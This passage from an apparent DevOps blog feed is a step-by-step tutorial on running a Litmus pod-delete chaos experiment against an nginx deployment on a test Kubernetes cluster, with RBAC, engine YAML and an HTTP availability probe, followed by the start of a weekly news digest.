        </h2><p>Install Litmus with Helm, label your target deployment, apply a <code>ChaosExperiment</code> and <code>ChaosEngine</code> for <code>pod-delete</code>, and watch the <code>ChaosResult</code> to see if your app passed. The whole loop takes about 20 minutes on a fresh cluster.</p>
<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>A Kubernetes cluster you do not mind poking. A local <code>kind</code> or <code>minikube</code> cluster is fine for the first run.</li>
<li><code>kubectl</code> configured and pointing at that cluster.</li>
<li>Helm 3.x installed.</li>
<li>A workload to break. The post uses <code>nginx</code> with three replicas, but any Deployment will do.</li>
</ul>
<p>If you do not have a cluster handy, spin one up with <code>kind</code>:</p>
<pre><code class="hljs language-bash">kind create cluster --name chaos-lab
kubectl cluster-info --context kind-chaos-lab
</code></pre><h2 id="h2-what-litmus-actually-is" class="group relative scroll-mt-24">
        <a href="#h2-what-litmus-actually-is" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What Litmus Actually Is
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-litmus-actually-is"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Litmus is a Kubernetes-native chaos platform. You write experiments as YAML, apply them with <code>kubectl</code>, and Litmus runs a chaos runner pod that injects the failure (kill a pod, hog CPU, drop network packets) against a target you select with labels.</p>
<p>Three resources matter:</p>
<ul>
<li><strong>ChaosExperiment</strong>: the definition of the fault. What to inject, with what defaults. Think of it as a function.</li>
<li><strong>ChaosEngine</strong>: the invocation. Which experiment, against which target, with what arguments. This is the thing you apply when you want chaos to start.</li>
<li><strong>ChaosResult</strong>: the verdict. Pass or fail, written by Litmus after the experiment runs.</li>
</ul>
<p>You install the platform once. You ship experiments per fault type. You apply engines per drill.</p>
<h2 id="h2-install-litmus" class="group relative scroll-mt-24">
        <a href="#h2-install-litmus" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Install Litmus
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-install-litmus"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Add the Helm repo and install the control plane into its own namespace:</p>
<pre><code class="hljs language-bash">kubectl create namespace litmus

helm repo add litmuschaos https://litmuschaos.github.io/litmus-helm/
helm repo update

helm install chaos litmuschaos/litmus \
  --namespace=litmus \
  --<span class="hljs-built_in">set</span> portal.frontend.service.type=ClusterIP
</code></pre><p>Wait for the pods to come up:</p>
<pre><code class="hljs language-bash">kubectl -n litmus get pods
</code></pre><p>You should see something like this:</p>
<pre><code class="hljs language-text">NAME                                     READY   STATUS    RESTARTS   AGE
chaos-litmus-frontend-7c8f6b9c4d-x2k8m   1/1     Running   0          2m
chaos-litmus-server-6b5d4f8c9-pq7nz      1/1     Running   0          2m
chaos-mongo-0                            1/1     Running   0          2m
</code></pre><p>The control plane is the optional ChaosCenter UI. The actual experiment runner is the chaos operator, which you install next.</p>
<h2 id="h2-install-the-chaos-operator-and-experiments" class="group relative scroll-mt-24">
        <a href="#h2-install-the-chaos-operator-and-experiments" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Install the Chaos Operator and Experiments
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-install-the-chaos-operator-and-experiments"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The operator watches for <code>ChaosEngine</code> resources and runs them. The experiment catalog ships separately so you can pick the faults you want.</p>
<pre><code class="hljs language-bash">kubectl apply -f https://litmuschaos.github.io/litmus/3.0.0/litmus-k8s-3.0.0.yaml
</code></pre><p>Check that the operator is healthy:</p>
<pre><code class="hljs language-bash">kubectl -n litmus get pods -l app.kubernetes.io/component=operator
</code></pre><p>Then load the generic experiment pack (pod-delete, container-kill, pod-cpu-hog, pod-memory-hog, and more) into the namespace where your target lives. For this walkthrough, that namespace is <code>default</code>:</p>
<pre><code class="hljs language-bash">kubectl apply -f https://hub.litmuschaos.io/api/chaos/3.0.0?file=charts/generic/experiments.yaml -n default
</code></pre><p>Verify the experiments are registered:</p>
<pre><code class="hljs language-bash">kubectl get chaosexperiments -n default
</code></pre><pre><code class="hljs language-text">NAME                AGE
pod-delete          12s
container-kill      12s
pod-cpu-hog         12s
pod-memory-hog      12s
pod-network-loss    12s
</code></pre><h2 id="h2-deploy-something-to-break" class="group relative scroll-mt-24">
        <a href="#h2-deploy-something-to-break" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Deploy Something to Break
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-deploy-something-to-break"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>If you do not already have a target, deploy a small nginx with three replicas:</p>
<pre><code class="hljs language-bash">kubectl create deployment web --image=nginx:1.27 --replicas=3
kubectl expose deployment web --port=80
kubectl label deployment web app=web
</code></pre><p>Confirm the pods are running:</p>
<pre><code class="hljs language-bash">kubectl get pods -l app=web
</code></pre><pre><code class="hljs language-text">NAME                   READY   STATUS    RESTARTS   AGE
web-6c8b9d7f4-2lhmn    1/1     Running   0          30s
web-6c8b9d7f4-7gxqp    1/1     Running   0          30s
web-6c8b9d7f4-rk9vx    1/1     Running   0          30s
</code></pre><h2 id="h2-give-litmus-permission-to-cause-chaos" class="group relative scroll-mt-24">
        <a href="#h2-give-litmus-permission-to-cause-chaos" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Give Litmus Permission to Cause Chaos
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-give-litmus-permission-to-cause-chaos"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Litmus runs experiments under a ServiceAccount with a tightly scoped Role. Without it, the experiment pod cannot touch your workload. Apply this RBAC into the <code>default</code> namespace:</p>
<pre><code class="hljs language-yaml"><span class="hljs-comment"># litmus-rbac.yaml</span>
<span class="hljs-attr">apiVersion:</span> <span class="hljs-string">v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">ServiceAccount</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">pod-delete-sa</span>
  <span class="hljs-attr">namespace:</span> <span class="hljs-string">default</span>
  <span class="hljs-attr">labels:</span>
    <span class="hljs-attr">name:</span> <span class="hljs-string">pod-delete-sa</span>
<span class="hljs-meta">---</span>
<span class="hljs-attr">apiVersion:</span> <span class="hljs-string">rbac.authorization.k8s.io/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Role</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">pod-delete-sa</span>
  <span class="hljs-attr">namespace:</span> <span class="hljs-string">default</span>
  <span class="hljs-attr">labels:</span>
    <span class="hljs-attr">name:</span> <span class="hljs-string">pod-delete-sa</span>
<span class="hljs-attr">rules:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">apiGroups:</span> [<span class="hljs-string">&quot;&quot;</span>]
    <span class="hljs-attr">resources:</span> [<span class="hljs-string">&quot;pods&quot;</span>, <span class="hljs-string">&quot;events&quot;</span>]
    <span class="hljs-attr">verbs:</span> [<span class="hljs-string">&quot;create&quot;</span>, <span class="hljs-string">&quot;list&quot;</span>, <span class="hljs-string">&quot;get&quot;</span>, <span class="hljs-string">&quot;patch&quot;</span>, <span class="hljs-string">&quot;update&quot;</span>, <span class="hljs-string">&quot;delete&quot;</span>, <span class="hljs-string">&quot;deletecollection&quot;</span>]
  <span class="hljs-bullet">-</span> <span class="hljs-attr">apiGroups:</span> [<span class="hljs-string">&quot;&quot;</span>]
    <span class="hljs-attr">resources:</span> [<span class="hljs-string">&quot;pods/log&quot;</span>, <span class="hljs-string">&quot;replicationcontrollers&quot;</span>, <span class="hljs-string">&quot;configmaps&quot;</span>, <span class="hljs-string">&quot;services&quot;</span>]
    <span class="hljs-attr">verbs:</span> [<span class="hljs-string">&quot;get&quot;</span>, <span class="hljs-string">&quot;list&quot;</span>]
  <span class="hljs-bullet">-</span> <span class="hljs-attr">apiGroups:</span> [<span class="hljs-string">&quot;apps&quot;</span>]
    <span class="hljs-attr">resources:</span> [<span class="hljs-string">&quot;deployments&quot;</span>, <span class="hljs-string">&quot;statefulsets&quot;</span>, <span class="hljs-string">&quot;daemonsets&quot;</span>, <span class="hljs-string">&quot;replicasets&quot;</span>]
    <span class="hljs-attr">verbs:</span> [<span class="hljs-string">&quot;list&quot;</span>, <span class="hljs-string">&quot;get&quot;</span>]
  <span class="hljs-bullet">-</span> <span class="hljs-attr">apiGroups:</span> [<span class="hljs-string">&quot;litmuschaos.io&quot;</span>]
    <span class="hljs-attr">resources:</span> [<span class="hljs-string">&quot;chaosengines&quot;</span>, <span class="hljs-string">&quot;chaosexperiments&quot;</span>, <span class="hljs-string">&quot;chaosresults&quot;</span>]
    <span class="hljs-attr">verbs:</span> [<span class="hljs-string">&quot;create&quot;</span>, <span class="hljs-string">&quot;list&quot;</span>, <span class="hljs-string">&quot;get&quot;</span>, <span class="hljs-string">&quot;patch&quot;</span>, <span class="hljs-string">&quot;update&quot;</span>, <span class="hljs-string">&quot;delete&quot;</span>]
<span class="hljs-meta">---</span>
<span class="hljs-attr">apiVersion:</span> <span class="hljs-string">rbac.authorization.k8s.io/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">RoleBinding</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">pod-delete-sa</span>
  <span class="hljs-attr">namespace:</span> <span class="hljs-string">default</span>
  <span class="hljs-attr">labels:</span>
    <span class="hljs-attr">name:</span> <span class="hljs-string">pod-delete-sa</span>
<span class="hljs-attr">roleRef:</span>
  <span class="hljs-attr">apiGroup:</span> <span class="hljs-string">rbac.authorization.k8s.io</span>
  <span class="hljs-attr">kind:</span> <span class="hljs-string">Role</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">pod-delete-sa</span>
<span class="hljs-attr">subjects:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">kind:</span> <span class="hljs-string">ServiceAccount</span>
    <span class="hljs-attr">name:</span> <span class="hljs-string">pod-delete-sa</span>
    <span class="hljs-attr">namespace:</span> <span class="hljs-string">default</span>
</code></pre><pre><code class="hljs language-bash">kubectl apply -f litmus-rbac.yaml
</code></pre><h2 id="h2-write-the-experiment" class="group relative scroll-mt-24">
        <a href="#h2-write-the-experiment" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Write the Experiment
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-write-the-experiment"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Time for the actual fault. This <code>ChaosEngine</code> targets the <code>web</code> deployment, picks one pod at random every 10 seconds for 30 seconds total, and kills it. The deployment controller should immediately create replacements.</p>
<pre><code class="hljs language-yaml"><span class="hljs-comment"># pod-delete-engine.yaml</span>
<span class="hljs-attr">apiVersion:</span> <span class="hljs-string">litmuschaos.io/v1alpha1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">ChaosEngine</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">web-pod-delete</span>
  <span class="hljs-attr">namespace:</span> <span class="hljs-string">default</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">appinfo:</span>
    <span class="hljs-attr">appns:</span> <span class="hljs-string">default</span>
    <span class="hljs-attr">applabel:</span> <span class="hljs-string">&#x27;app=web&#x27;</span>
    <span class="hljs-attr">appkind:</span> <span class="hljs-string">&#x27;deployment&#x27;</span>
  <span class="hljs-attr">chaosServiceAccount:</span> <span class="hljs-string">pod-delete-sa</span>
  <span class="hljs-attr">engineState:</span> <span class="hljs-string">&#x27;active&#x27;</span>
  <span class="hljs-attr">experiments:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">pod-delete</span>
      <span class="hljs-attr">spec:</span>
        <span class="hljs-attr">components:</span>
          <span class="hljs-attr">env:</span>
            <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">TOTAL_CHAOS_DURATION</span>
              <span class="hljs-attr">value:</span> <span class="hljs-string">&#x27;30&#x27;</span>
            <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">CHAOS_INTERVAL</span>
              <span class="hljs-attr">value:</span> <span class="hljs-string">&#x27;10&#x27;</span>
            <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">FORCE</span>
              <span class="hljs-attr">value:</span> <span class="hljs-string">&#x27;false&#x27;</span>
            <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">PODS_AFFECTED_PERC</span>
              <span class="hljs-attr">value:</span> <span class="hljs-string">&#x27;33&#x27;</span>
</code></pre><p>A few things worth flagging:</p>
<ul>
<li><code>applabel</code> is how Litmus picks targets. Anything matching <code>app=web</code> in the <code>default</code> namespace is fair game.</li>
<li><code>PODS_AFFECTED_PERC: &#39;33&#39;</code> means one pod out of three each round. Start small.</li>
<li><code>FORCE: &#39;false&#39;</code> uses a graceful delete with the pod&#39;s terminationGracePeriod. Flip to <code>true</code> to simulate a kernel kill, which is the more honest test.</li>
<li><code>engineState: active</code> starts the experiment immediately on apply. Set it to <code>stop</code> to bail out.</li>
</ul>
<p>Apply it:</p>
<pre><code class="hljs language-bash">kubectl apply -f pod-delete-engine.yaml
</code></pre><h2 id="h2-watch-it-run" class="group relative scroll-mt-24">
        <a href="#h2-watch-it-run" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Watch It Run
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-watch-it-run"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Open three terminals. In the first, watch your app:</p>
<pre><code class="hljs language-bash">kubectl get pods -l app=web -w
</code></pre><p>You should see pods being terminated and new ones starting:</p>
<pre><code class="hljs language-text">web-6c8b9d7f4-2lhmn    1/1     Terminating   0     2m
web-6c8b9d7f4-zk4tx    0/1     Pending       0     0s
web-6c8b9d7f4-zk4tx    0/1     ContainerCreating  0  1s
web-6c8b9d7f4-zk4tx    1/1     Running       0     3s
</code></pre><p>In the second, watch the Litmus runner pod:</p>
<pre><code class="hljs language-bash">kubectl -n default get pods -l name=web-pod-delete-runner -w
</code></pre><p>In the third, hammer the service so you can see if traffic ever fails:</p>
<pre><code class="hljs language-bash">kubectl run curl-loop --image=curlimages/curl --restart=Never -- \
  sh -c <span class="hljs-string">&#x27;while true; do curl -s -o /dev/null -w &quot;%{http_code}\n&quot; http://web; sleep 0.5; done&#x27;</span>

kubectl logs -f curl-loop
</code></pre><p>If your readiness probe and service are wired up correctly, you see a stream of <code>200</code>s. If you see <code>000</code> or <code>503</code> in there, that is a finding. Either readiness is lying about pod health, or your replica count is too low to absorb a single failure.</p>
<h2 id="h2-read-the-verdict" class="group relative scroll-mt-24">
        <a href="#h2-read-the-verdict" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Read the Verdict
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-read-the-verdict"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>When the runner pod finishes, look at the result:</p>
<pre><code class="hljs language-bash">kubectl get chaosresult web-pod-delete-pod-delete -n default -o yaml
</code></pre><p>The interesting bit:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">status:</span>
  <span class="hljs-attr">experimentStatus:</span>
    <span class="hljs-attr">phase:</span> <span class="hljs-string">Completed</span>
    <span class="hljs-attr">verdict:</span> <span class="hljs-string">Pass</span>
    <span class="hljs-attr">failStep:</span> <span class="hljs-string">&#x27;N/A&#x27;</span>
  <span class="hljs-attr">probeStatus:</span> []
</code></pre><p><code>Pass</code> means Litmus killed pods and the deployment kept the target replica count up through the run. <code>Fail</code> means a probe tripped (more on probes below) or the experiment could not target anything.</p>
<p>For the full story, check the events the runner emitted:</p>
<pre><code class="hljs language-bash">kubectl describe chaosresult web-pod-delete-pod-delete -n default
</code></pre><h2 id="h2-make-it-real-with-probes" class="group relative scroll-mt-24">
        <a href="#h2-make-it-real-with-probes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Make It Real With Probes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-make-it-real-with-probes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>A <code>Pass</code> from <code>pod-delete</code> alone just means pods came back. It does not mean your users got served. Probes turn the experiment into a real SLO check. Litmus runs them during the chaos window and fails the result if the probe fails.</p>
<p>Add an <code>httpProbe</code> to the engine that hits the service every two seconds and expects a 200:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">experiments:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">pod-delete</span>
    <span class="hljs-attr">spec:</span>
      <span class="hljs-attr">probe:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">web-availability</span>
          <span class="hljs-attr">type:</span> <span class="hljs-string">httpProbe</span>
          <span class="hljs-attr">mode:</span> <span class="hljs-string">Continuous</span>
          <span class="hljs-attr">runProperties:</span>
            <span class="hljs-attr">probeTimeout:</span> <span class="hljs-number">2</span>
            <span class="hljs-attr">interval:</span> <span class="hljs-number">2</span>
            <span class="hljs-attr">retry:</span> <span class="hljs-number">1</span>
            <span class="hljs-attr">stopOnFailure:</span> <span class="hljs-literal">false</span>
          <span class="hljs-attr">httpProbe/inputs:</span>
            <span class="hljs-attr">url:</span> <span class="hljs-string">http://web.default.svc.cluster.local</span>
            <span class="hljs-attr">insecureSkipVerify:</span> <span class="hljs-literal">false</span>
            <span class="hljs-attr">method:</span>
              <span class="hljs-attr">get:</span>
                <span class="hljs-attr">criteria:</span> <span class="hljs-string">==</span>
                <span class="hljs-attr">responseCode:</span> <span class="hljs-string">&#x27;200&#x27;</span>
      <span class="hljs-attr">components:</span>
        <span class="hljs-attr">env:</span>
          <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">TOTAL_CHAOS_DURATION</span>
            <span class="hljs-attr">value:</span> <span class="hljs-string">&#x27;30&#x27;</span>
</code></pre><p>Re-apply. Now if even one HTTP check fails during the 30-second chaos window, the verdict flips to <code>Fail</code>. That is the signal you actually want: not &quot;pods recovered&quot; but &quot;users were served the whole time.&quot;</p>
<h2 id="h2-what-to-try-next" class="group relative scroll-mt-24">
        <a href="#h2-what-to-try-next" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What To Try Next
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-to-try-next"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Once <code>pod-delete</code> passes with a probe, you have a working chaos loop. Use it. A short menu to work through, in roughly increasing pain:</p>
<ol>
<li><strong>container-kill</strong>: kill only the app container without taking the pod down. Surfaces broken restart logic and exposes anything that initializes only on pod start.</li>
<li><strong>pod-cpu-hog</strong> and <strong>pod-memory-hog</strong>: pin a pod&#39;s resources. Validates that HPA reacts and that your requests/limits are not lying.</li>
<li><strong>pod-network-loss</strong>: drop a percentage of packets between the target and the world. Excellent for finding retry storms and absent timeouts.</li>
<li><strong>node-drain</strong>: cordon and drain a node out from under the workload. The honest test of PodDisruptionBudgets.</li>
</ol>
<p>Two operational habits to build alongside the experiments:</p>
<ul>
<li><strong>Always set <code>engineState</code>, not just delete-on-cleanup.</strong> Patching the engine to <code>stop</code> is the kill switch. Keep that command in your runbook so the on-call can stop chaos in one line if something goes sideways: <code>kubectl patch chaosengine web-pod-delete -n default --type merge -p &#39;{&quot;spec&quot;:{&quot;engineState&quot;:&quot;stop&quot;}}&#39;</code>.</li>
<li><strong>Start in a non-prod cluster, then move to prod with a <code>PODS_AFFECTED_PERC</code> of 10 and a probe</strong>. Prod chaos without a probe is sabotage. Prod chaos with a probe is testing.</li>
</ul>
<p>Chaos engineering stops being scary the moment you have run the loop once. Pick one deployment this week, run <code>pod-delete</code> against it with an <code>httpProbe</code>, and find out whether your readiness probe was lying to you.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[DevOps Weekly Digest - Week 21, 2026]]></title>
      <link>https://devops.anhp.site/news/2026-week-21</link>
      <description><![CDATA[⚡ Curated updates from Kubernetes, cloud native tooling, CI/CD, IaC, observability, and security - handpicked for DevOps professionals!]]></description>
      <pubDate>Mon, 18 May 2026 00:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/news/2026-week-21</guid>
      <category><![CDATA[DevOps News]]></category>
      <content:encoded><![CDATA[<blockquote>
<p>📌 <strong>Handpicked by be4n</strong> - Your weekly dose of curated DevOps news and updates!</p>
</blockquote>
<hr>
<h2 id="h2-kubernetes" class="group relative scroll-mt-24">
        <a href="#h2-kubernetes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          ⚓ Kubernetes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-kubernetes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-what-kubectl-debug-doesnt-tell-you-the-silent-evidence-gap" class="group relative scroll-mt-24">
        <a href="#h3-what-kubectl-debug-doesnt-tell-you-the-silent-evidence-gap" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 What kubectl debug doesn’t tell you: The silent evidence gap
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-what-kubectl-debug-doesnt-tell-you-the-silent-evidence-gap"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
